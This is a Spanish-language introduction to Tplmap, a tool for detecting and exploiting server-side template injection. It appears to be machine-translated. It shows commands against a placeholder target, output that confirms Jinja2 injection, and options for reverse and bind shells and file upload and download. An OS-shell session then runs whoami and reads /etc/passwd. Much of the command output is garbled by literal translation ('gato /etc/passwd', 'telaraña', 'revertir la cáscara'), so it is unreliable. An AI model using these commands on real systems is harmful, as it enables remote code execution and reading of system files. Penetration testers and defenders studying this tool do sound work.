Al ejecutar una prueba de penetración de una página web que genera contenido dinámico mediante plantillas con valores proporcionados por el usuario, puede encontrar una vulnerabilidad de inyección de plantillas del lado del servidor. La identificación manual del motor de plantillas con el que está tratando y la posterior explotación se pueden automatizar fácilmente utilizando la herramienta Tplmap.
Tplmap es capaz de detectar y utilizar SSTI en varios tipos de motores de plantilla. Tiene funcionalidades tales como navegar por el sistema de archivos y ejecutar comandos de forma remota en el servidor atacado.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
Herramienta automática de detección y explotación de inyección de plantillas del lado del servidor
[+] Probar si el parámetro GET 'name' es inyectable
[+] El complemento Smarty está probando el renderizado con la etiqueta '{*}'
[+] El plugin Smarty está probando la inyección ciega
[+] Mako plugin está probando el renderizado con la etiqueta '${*}'
...
[+] Jinja2 plugin está probando la representación con la etiqueta '{{*}}'
[+] Jinja2 plugin ha confirmado la inyección con la etiqueta '{{*}}'
[+] Tplmap identificó el siguiente punto de inyección:
Parámetro GET: nombre
Motor: Jinja2
Inyección: {{*}}
Contexto: texto
Sistema operativo: linux
Técnica: renderizar
Capacidades:
Ejecución de comandos de shell: aprox.
Encuadernar y revertir la cáscara: aprox.
Escritura de archivo: ok
Lectura de archivo: ok
Evaluación de código: ok, código python
[+] Vuelva a ejecutar tplmap proporcionando una de las siguientes opciones:
--os-shell Ejecutar shell en el destino
--os-cmd Ejecutar comandos de shell
--bind-shell PORT Conectarse a un enlace de shell a un puerto de destino
--reverse-shell HOST PORT Enviar un shell al puerto del atacante
--upload LOCAL REMOTE Cargar archivos en el servidor
--descargar REMOTE LOCAL Descargar archivos remotos
Utilice la opción --os-shell
para ejecutar el pseudoterminal en el destino.
$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
Herramienta automática de detección y explotación de inyección de plantillas del lado del servidor
[+] Ejecute comandos en el sistema operativo.
linux $ whoami
telaraña
linux $ gato /etc/passwd
root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Tplmap soporta más de 15 motores de plantillas:
motor | Ejecución remota de comandos | ciego | Evaluación de código | Leer archivo | Escribir en archivo |
---|---|---|---|---|---|
Mako | ✓ | ✓ | pitón | ✓ | ✓ |
Jinja2 | ✓ | ✓ | pitón | ✓ | ✓ |
Python (eval de código) | ✓ | ✓ | pitón | ✓ | ✓ |
tornado | ✓ | ✓ | pitón | ✓ | ✓ |
Nunjucks( Kentucky) | ✓ | ✓ | JavaScript | ✓ | ✓ |
Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
punto | ✓ | ✓ | JavaScript | ✓ | ✓ |
Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
JavaScript (eval de código) | ✓ | ✓ | JavaScript | ✓ | ✓ |
Polvo (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
Ruby (código eval) | ✓ | ✓ | rubí | ✓ | ✓ |
delgado | ✓ | ✓ | rubí | ✓ | ✓ |
erbio | ✓ | ✓ | rubí | ✓ | ✓ |
Smarty (no seguro) | ✓ | ✓ | PHP | ✓ | ✓ |
PHP (eval de código) | ✓ | ✓ | PHP | ✓ | ✓ |
Ramita (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
Freemarker | ✓ | ✓ | × | ✓ | ✓ |
Velocidad, Nuevo | ✓ | ✓ | × | ✓ | ✓ |
Ramita (>1.19) | × | × | × | × | × |
Smarty (seguro) | × | × | × | × | × |
Polvo (> [email protected]) | × | × | × | × | × |
Tplmap se puede encontrar en el creador github – tplmap.